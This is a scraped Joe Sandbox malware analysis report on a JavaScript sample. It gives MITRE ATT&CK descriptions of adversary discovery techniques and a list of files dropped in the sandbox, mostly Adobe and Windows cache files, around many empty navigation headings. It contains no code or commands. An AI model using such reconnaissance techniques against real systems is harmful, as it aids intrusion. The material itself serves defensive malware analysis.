Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1053816775239920795.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2b61ce7c-748a-4024-8b1c-f59a4ff56ac4.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6264

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6264

Windows Analysis Report
1053816775239920795.js